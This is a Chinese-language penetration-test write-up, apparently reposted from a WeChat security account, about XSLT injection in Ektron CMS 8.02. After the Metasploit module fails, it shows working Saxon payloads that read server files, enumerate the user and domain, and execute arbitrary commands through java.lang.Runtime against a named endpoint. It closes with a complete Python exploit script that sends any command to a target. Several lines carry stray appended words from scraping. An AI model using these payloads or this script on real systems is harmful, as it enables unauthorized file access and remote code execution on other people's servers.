本文分享的是一個XSLT注入漏洞,漏洞存在於Ektron CMS 8.02的Saxon組件中,攻擊者利用該漏洞,可形成SSRF甚至RCE。但研究者發現Metasploit上的exp彷佛沒法利用,漏洞已被修補。後來通過摸索,進一步作信息收集,最終獲取RCE。html
偶然發現攻擊面
國外某研究人員應邀給一個大型組織作Web滲透測試。通過簡單的信息收集,發現該Web應用較爲簡單,沒有明顯的缺陷。java
進一步搜尋測試後,研究人員使用dirbuster(目錄掃描器)發現了一個有趣的JavaScript文件,查閱文件內容顯示應用程序爲:Ektron CMS 8.02python
簡單搜索因特網,研究人員在Microsoft Research Advisory上找到關於該CMS的一些漏洞信息:web
...當Ektron Web CMS 的XslCompiledTransform類處理用戶控制的XSL數據時,可能會致使容易代碼執行...ajax
存在漏洞的頁面:shell
https(s)://host/WorkArea/ContentDesigner/ekajaxtransform.aspx
目標確實存在這個頁面,它可能能夠存在漏洞。下一步,研究人員開始枚舉目標服務器上的XSLT解析引擎,經過Burp發送一個POST請求,同時在Body處插入XSLT有效載荷:安全
xslt=<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
Version: <xsl:value-of select="system-property('xsl:version')" />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html>
</xsl:template>
</xsl:stylesheet>
頁面反饋:服務器
Version: 1
Vendor: Microsoft
Vendor URL: http://www.microsoft.com微信
嘗試通用Exp
此時,已經代表爲Microsoft XSLT解析器。緊接着,研究人員在Metasploit上找到一個模塊,可用於此攻擊。設置完畢參數後,exploit,但沒有返回結果。可初步判斷,目標應用上的這個漏洞已修補,沒法被利用,但研究者並無放棄,查看Metasploit發送的請求:app
很容易看出,它會調用一個有趣的腳本:
<msxsl:script language =「C#」implements-prefix =「user」>
Microsoft XSLT 彷佛能夠運行C#。經過腳本元素,能夠在XSLT文檔或其餘帶外擴展中嵌入C#惡意代碼。
構造一個簡單的SSRF探測有效載荷:
xslt=<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:App="http://www.tempuri.org/App">
<msxsl:script implements-prefix="App" language="C#">
<![CDATA[
{
System.Diagnostics.Process.Start("cmd.exe /C ping IP");
}
]]>
</msxsl:script>
<xsl:template match="ArrayOfTest">
</xsl:template>
</xsl:stylesheet>
反饋:
已禁止使用腳本。能夠經過XsltSettings.EnableScript屬性激活。
看來這就是爲何Metasploit模塊攻擊失效的緣由了。雖然已在元素中嵌入C#,但腳本被禁用,沒法工做。經過這點,能夠肯定漏洞已經修補了,攻擊者沒法獲取RCE。但研究人員沒有放棄,開始進一步搜索漏洞信息。
柳暗花明
查閱資料,研究人員找出兩份關於XSLT注入攻擊的研究文檔[1.2],第一份爲德文,較爲全面地介紹了這類攻擊,第二份來自IOActive。閱讀相關文檔後,研究人員發現其實Ektron CMS附有多個XSLT解析器,其中一個名爲Saxon。枚舉Saxon版本:
xslt=<xsl:transform version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</xsl:template>
</xsl:transform>
反饋:
Version: 2.0
Vendor: SAXON 9.x.x.x from Saxonica
Vendor URL: http://www.saxonica.com/
Saxon解析器能夠正常解析用戶輸入,同時提供反饋。接下來,攻擊者能夠嘗試讀取一些文件,枚舉信息甚至命令執行。
讀取文件:
<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="unparsed-text('file:///C:/Windows/System32/drivers/etc/hosts')"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>
查看當前目錄:
<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="env:CurrentDirectory()"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>
查看當前用戶和域:
<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="env:UserName()"/>
<xsl:value-of select="env:UserDomainName()"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>
攻擊者如今能夠探測服務器目錄結構,讀取服務器上的大部分文件,SAM文件除外,由於Web應用用戶權限不足。
Getshell
研究人員的最終目標是命令執行,但文檔中沒有可用的XSLT樣式。進一步研究那份德文文檔,發現能夠Xalan處理器來執行Java代碼,但Saxon解析器沒有聲明命名空間。
嘗試構造模塊,反饋錯誤。
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'notepad.exe')"
xmlns:Runtime="java:java.lang.Runtime"/>
研究Saxonica文檔後,研究人員發現可利用命名空間和某些函數,構造XSLT文檔來執行命令:
xslt=<xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet>
後來發現沒有聲明java的命名空間:
xmlns:java="http://saxon.sf.net/java-type">
若是沒有聲明命名空間,處理器不能找到與java:java.lang.Runtime
相關的外部對象或腳本。
發送有效負載,研究人員可執行任意命令,而且能夠與Empire框架鏈接,至此web滲透部分結束。
利用腳本
#! /usr/bin/python
import httplib
target = raw_input("""Enter the domain or IP address of target:
e.g. www.google.com, or 198.162.0.1: """)
port = raw_input("""Enter port number of target
e.g. 80 or 443: """)
process = raw_input("""Enter the process you wish to run:
powershell.exe or cmd.exe: """)
command = raw_input("""Enter command you wish to run:
e.g. ping 127.0.0.1: """)
def printText(txt):
lines = txt.split('\n')
for line in lines:
print line.strip()
httpServ = httplib.HTTPConnection( target, port)
httpServ.connect()
payload = """
xslt=<?xml version="1.0"?>
<xsl:stylesheet version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'%s /C %s')"
xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>
</xsl:stylesheet>""" % (process,command)
headers = {"Content-type": "application/x-www-form-urlend; charset=UTF-8", "Accept": "application/x-www-form-urlencoded; charset=UTF-8"}
httpServ.request('POST', '/WorkArea/ContentDesigner/ekajaxtransform.aspx', payload, headers)
response = httpServ.getresponse()
if response.status == httplib.OK:
print "Java Process Id: "
printText (response.read())
httpServ.close()
研究人員並未分享內網滲透內容。
小結
滲透測試人員若是發現Microsoft XSLT解析器中EnableScript設置爲False,則不用嘗試Metasploit模塊,可直接從本文獲取一些攻擊方式。
本文分享自微信公衆號 - 掌控安全EDU(ZKAQEDU)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。